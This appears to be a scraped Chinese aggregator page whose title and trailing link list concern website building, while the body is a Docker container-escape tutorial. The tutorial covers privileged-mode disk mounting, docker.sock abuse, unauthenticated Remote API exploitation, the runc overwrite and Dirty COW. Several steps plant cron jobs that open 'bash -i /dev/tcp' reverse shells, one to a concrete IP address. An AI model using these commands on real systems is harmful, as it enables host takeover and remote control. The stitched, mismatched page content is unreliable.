当前位置: 首页 > news >正文

网站建设工作量评估企业门户网站建设方案

网站建设工作量评估,企业门户网站建设方案,在线包装设计软件,建设主管部门指定网站文章目录原理环境搭建Docker 环境判断Docker 容器逃逸特权模式逃逸如何判断是否为特权模式逃逸docker.sock挂载逃逸逃逸Remote API未授权访问未授权访问逃逸容器服务缺陷逃逸影响版本环境搭建逃逸脏牛漏洞逃逸参考原理 docker其实就是一个linux下的进程#xff0c;它通过Name… 文章目录原理环境搭建Docker 环境判断Docker 容器逃逸特权模式逃逸如何判断是否为特权模式逃逸docker.sock挂载逃逸逃逸Remote API未授权访问未授权访问逃逸容器服务缺陷逃逸影响版本环境搭建逃逸脏牛漏洞逃逸参考原理 docker其实就是一个linux下的进程它通过NameSpace 等命令实现了内核级别环境隔离文件、网络、资源所以相比虚拟机而言Docker 的隔离性要弱上不少 这就导致可以通过很多方法来进行docker逃逸。 环境搭建 curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o docker.sh bash docker.shDocker 环境判断 1、查找.dockerenv文件 docker下默认存在dockerenv文件而非docker环境中则没有 2、查询cgroup进程 cat /proc/1/cgroup3、查看容器环境变量 cat /proc/1/environDocker 容器逃逸 特权模式逃逸 以特权模式启动时docker容器内拥有宿主机文件读写权限可以通过写ssh密钥、计划任务等方式达到逃逸。 如何判断是否为特权模式 在suid提权中SUID设置的程序出现漏洞就非常容易被利用所以 Linux 引入了 Capability 机制以此来实现更加细致的权限控制从而增加系统的安全性 当容器为特权模式时将添加如下功能使用指南 - 特权容器 但这里并不能说拥有以上某种功能就是特权容器因为特权容器还需满足 必须缺少AppArmor配置文件否则将允许mount syscall能够“看到”很多敏感的dev设备 上述两个条件目前还不知道如何获取所以重点看下特权容器中获取的 Cap 集合 root227b7e10b9a6:/# cat /proc/1/status | grep Cap CapInh: 0000000000000000 CapPrm: 0000001fffffffff CapEff: 0000001fffffffff CapBnd: 0000001fffffffff CapAmb: 0000000000000000CapEff 主要是检查线程的执行权限所以重点看下利用 capsh --decode0000003fffffffff 进行解码检索默认没有添加的 NET_ADMIN发现存在 而非特权容器的 Cap 集合值并进行解码发现并不存在 NET_ADMIN 因此当执行 cat /proc/1/status | grep Cap 查询对应出来的值为 0000003fffffffff 那么就有可能是特权容器可尝试逃逸 逃逸 1、首先以特权模式运行一个docker容器 docker run -it --privileged 镜像id /bin/bash2、查看磁盘文件 fdisk -l 3、新建一个目录,将/dev/vda1挂载至新建的目录 mkdir /test mount /dev/vda1 /test4、写入计划任务到宿主机 echo * * * * * bash -i /dev/tcp/ip/4000 01 /test/var/spool/cron/root5、成功反弹shell docker.sock挂载逃逸 Docker采用C/S架构我们平常使用的Docker命令中docker即为clientServer端的角色由docker daemon(docker守护进程)扮演二者之间通信方式有以下3种 1、unix:///var/run/docker.sock 2、tcp://host:port 3、fd://socketfd其中使用docker.sock进行通信为默认方式当容器中进程需在生产过程中与Docker守护进程通信时容器本身需要挂载/var/run/docker.sock文件。 本质上而言能够访问docker socket 或连接HTTPS API的进程可以执行Docker服务能够运行的任意命令以root权限运行的Docker服务通常可以访问整个主机系统。 因此当容器访问docker socket时我们可通过与docker daemon的通信对其进行恶意操纵完成逃逸。若容器A可以访问docker socket我们便可在其内部安装clientdocker通过docker.sock与宿主机的serverdocker daemon进行交互运行并切换至不安全的容器B最终在容器B中控制宿主机。 逃逸 1、运行一个挂载/var/run/的容器 docker run -it -v /var/run/:/host/var/run/ 5d2df19066ac /bin/bash2、寻找下挂载的sock文件 find / -name docker.sock3、在容器内安装client即docker apt-get update apt-get install docker.io4、查看宿主机docker信息 docker -H unix:///host/var/run/docker.sock info5、运行一个新容器并挂载宿主机根路径 docker -H unix:///host/var/run/docker.sock run -v /:/test -it ubuntu:14.04 /bin/bash 6、写入计划任务到宿主机 echo * * * * * bash -i /dev/tcp/ip/4000 01 /test/var/spool/cron/rootRemote API未授权访问 docker swarm中默认通过2375端口通信。绑定了一个Docker Remote API的服务可以通过HTTP、Python、调用API来操作Docker。 未授权访问 当使用官方推荐启动方式时 dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375在没有其他网络访问限制的主机上使用则会在公网暴漏端口。 1、此时访问/containers/json便会得到所有容器id字段 2、创建一个 exec POST /containers/container_id/exec HTTP/1.1 Host: docker_host:PORT Content-Type: application/json Content-Length: 188{AttachStdin: true,AttachStdout: true,AttachStderr: true,Cmd: [cat, /etc/passwd],DetachKeys: ctrl-p,ctrl-q,Privileged: true,Tty: true }发包后返回exec的id参数 3、执行exec中的命令成功读取passwd文件 POST /exec/exec_id/start HTTP/1.1 Host: docker_host:PORT Content-Type: application/json{Detach: false,Tty: false }这种方式只是获取到了docker主机的命令执行权限但是还无法逃逸到宿主机。因此还是需要写公钥或者计时任务进行逃逸 逃逸 1、在容器内安装docker apt-get update apt-get install docker.io2、查看宿主机docker镜像信息 docker -H tcp://ip:2375 images3、启动一个容器并将宿主机根目录挂在到容器的test目录 docker -H tcp://ip:2375 run -it -v /:/test 5d2df19066ac /bin/bash4、计时任务反弹shell echo * * * * * bash -i /dev/tcp/101.200.208.44/4000 01 /test/var/spool/cron/root容器服务缺陷逃逸 runc是一个底层服务工具runC 管理容器的创建运行销毁等docker部分版本服务运行时底层其实在运行着runc服务攻击者可以通过特定的容器镜像或者exec操作重写宿主机上的runc 二进制文件并在宿主机上以root身份执行命令。 影响版本 docker version 18.09.2 RunC version 1.0-rc6 环境搭建 由于对版本有限制所以用之前docker中的ubuntu环境搭建符合漏洞版本的docker参考Ubuntu安装指定版本的docker - 朝花夕拾 - SegmentFault 思否 1、安装 apt 依赖包用于通过HTTPS来获取仓库 apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common2、添加 Docker 的官方 GPG 密钥 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -3、设置稳定版仓库(添加到/etc/apt/sources.list中) add-apt-repository deb [archamd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable4、更新apt-get apt-get update5、查询docker-ce版本 apt-cache policy docker-ce6、安装指定版本docker apt-get install docker-ce18.06.1~ce~3-0~ubuntu逃逸 1、编译payload中反弹shell地址 2、编译生成payload CGO_ENABLED0 GOOSlinux GOARCHamd64 go build main.go3、编译好后传入docker容器中 docker cp main 1fa6a736e332:/home docker exec -it 1fa6a736e332 /bin/bash cd /home/ chmod 777 main4.运行main程序成功反弹shell ./main脏牛漏洞逃逸 Dirty Cow是Linux内核中的提权漏洞源于Linux内核的内存子系统在处理写入拷贝时存在竞争条件race condition允许恶意用户提权获取其他只读内存映射的写访问权限。 docker和宿主机共享内核因此就可利用该漏洞进行逃逸 git clone https://github.com/gebl/dirtycow-docker-vdso.git cd dirtycow-docker-vdso/ docker-compose run dirtycow /bin/bashcd /dirtycow-vdso/ make ./0xdeadbeef ip:port // 反弹shell参考 Docker逃逸小结第一版 更新 - 先知社区 (aliyun.com) 初识Docker逃逸 - FreeBuf网络安全行业门户 Docker 容器逃逸入门 – 天下大木头 (wjlshare.com) Docker Remote API未授权访问docker逃逸导致Getshell漏洞复现 - 小阿辉谈安全 - 博客园 (cnblogs.com)
http://www.dnsts.com.cn/news/240233.html

相关文章:

  • 阿里云建设网站教程珲春建设局网站
  • 网页设计视频网站建设怎么建网页
  • 网站开发jsp 很少深圳十大高科技企业
  • 青岛行业网站建设电话wordpress 自动安装 插件
  • 网站设计怎么用黑色怎样设计网站
  • 电信备案新增网站主机屋建网站源码
  • 兰州网站建设兰州网上购物都有哪些网站
  • 网站运营工作的基本内容石家庄建设工程信息网站
  • 叫人做网站多少钱漳州哪里做网站
  • 西宁网站开发公司wordpress主题那个好
  • 做一个个人网站的步骤页面设计的突出主体原则
  • WordPress做saas公司优化是什么意思?
  • 常州企业微信网站建设试客类网站开发
  • 正则表达式匹配网站如何在局域网做网站
  • 网站维护中什么意思网易企业邮箱收件服务器主机名
  • 电子 网站建设申请过程昆山做网站的公司有哪些
  • 网站开发人员知乎建站之星破解版下载
  • 网站更新升级建工论坛网
  • 怎么让网站文章被收录如何利用NAS做网站
  • 怀化医保网站做网站外包公司名称大全
  • 公司网站建设济南兴田德润地址群晖nas做网站性能
  • 建设网站平台需要什么硬件配置wordpress建哪些网站吗
  • 五莲做网站wordpress 添加模板
  • 先建网站还是先做app好网站logo用什么来做
  • 铜梁集团网站建设做资料网站是自己建服务器好还是租用好
  • 统计网站的代码医疗手机网站建设
  • 长沙自助建站哪家好重庆荣昌网站建设报价
  • 网站文章多久收录手工制作花朵
  • 示范高校建设网站网站seo完整的优化方案
  • 重庆整合营销网站建设长沙网络推广代理